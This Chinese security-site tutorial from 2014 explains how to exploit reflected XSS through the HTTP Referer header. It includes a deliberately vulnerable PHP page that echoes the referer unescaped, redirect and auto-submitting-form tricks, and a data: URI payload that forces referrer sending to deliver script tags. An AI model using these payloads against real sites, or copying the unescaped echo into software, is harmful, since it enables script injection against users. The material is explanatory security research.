热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

header头referer字段反射xss利用

发布时间:2014-04-30 09:44文章来源:网络文章作者:D&G 点击次数:
摘要:##伪造referer 自从flash修复伪造referer之后,目前没有已知的伪造referer的方式。 ##利用跳转 跳转存在的问题就是在chrome和firefox中,query会被URL编码,IE不会。 跳转的方式主要有 META标签内跳转 javascript跳转 header头跳转 测试方式脚本,存在漏洞的...

##伪造referer

自从flash修复伪造referer之后,目前没有已知的伪造referer的方式。

##利用跳转

跳转存在的问题就是在chrome和firefox中,query会被URL编码,IE不会。

跳转的方式主要有

META标签内跳转

javascript跳转

header头跳转

测试方式脚本,存在漏洞的页面:

 

  1. <?php 
  2. echo '123'; 
  3. echo $_SERVER['HTTP_REFERER']; 
  4. ?> 

在本地新建页面,代码如下,firefox中访问:

http://127.0.0.1/referer.html?<xsscode>

 

  1. <script> 
  2. window.location.href='http://www.yunsec.net/referer.php' 
  3. </script> 

页面显示

123http://127.0.0.1/referer.html?%3Cxsscode%3E

IE8中测试,发现使用windows.location.href跳转,不会发送referer。(本文中提到的IE都是IE8测试),这个是IE的问题。可以通过其他的方式带上refer。这是另外一个问题了,这里不做过多讨论了,只提供一种可以利用的方式。

参考:http://www.gremwell.com/exploiting_xss_in_referer_header

 

  1. <html> 
  2. <body> 
  3. <form id="xss" 
  4. name="xss" 
  5. method="GET" 
  6. action="http://victim.example.com/vulnerable.php"> 
  7. </form> 
  8. <script> 
  9. document.getElementById("xss").submit(); 
  10. </script> 
  11. </body> 
  12. </html> 

也可以使用iframe,因为iframe发出的请求是带referer的

#使用子域名和路径。

跳转的时候使用子域名或者路径承载payload,子域名没有测试,测试了下路径,IE8会对路径中的"<"进行url编码。

##使用datauri

参考:http://masatokinugawa.l0.cm/2013/10/referrer-xss.html

感谢神秘的M提供的技术翻译。如下:

IE的情况比较简单。因为IE不会对query中的<>进行Encode,所以下面的这种情况在IE是可利用的:

http://l0.cm/xss_referrer.html?<script>alert("1")</script>

但是Firefox.Chrome.Safari和IE却不同。他们会对query中的<>进行Encode,进而导致不能利用。所以我在这里和大家分享一个小的技巧(我自认为,这种手法是别人应该都还没有公开过的)

data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>

当我们在data:URL中加上<meta name="referrer" content="always">这个标签时,我们就可以让正常情况下无法发送referrer的data:URL变得可以发送referrer信息了。通过这种方式呢,我们就可以在Chrome和safari下包含一个可以正常执行的“<>"了.

当然,等firefox开始支持<meta name="referrer">了,也许同样的方法也可以应用在firefox上面。

测试了下,最新版chrome这种方式已经不可以了。根据M的测试结果,目前,safari还是可以的。

标签分类:

上一篇:轻松绕各种WAF的POST注入、跨站防御(安全狗)
下一篇:Mysql Insert into set语法绕过360scan insert防注入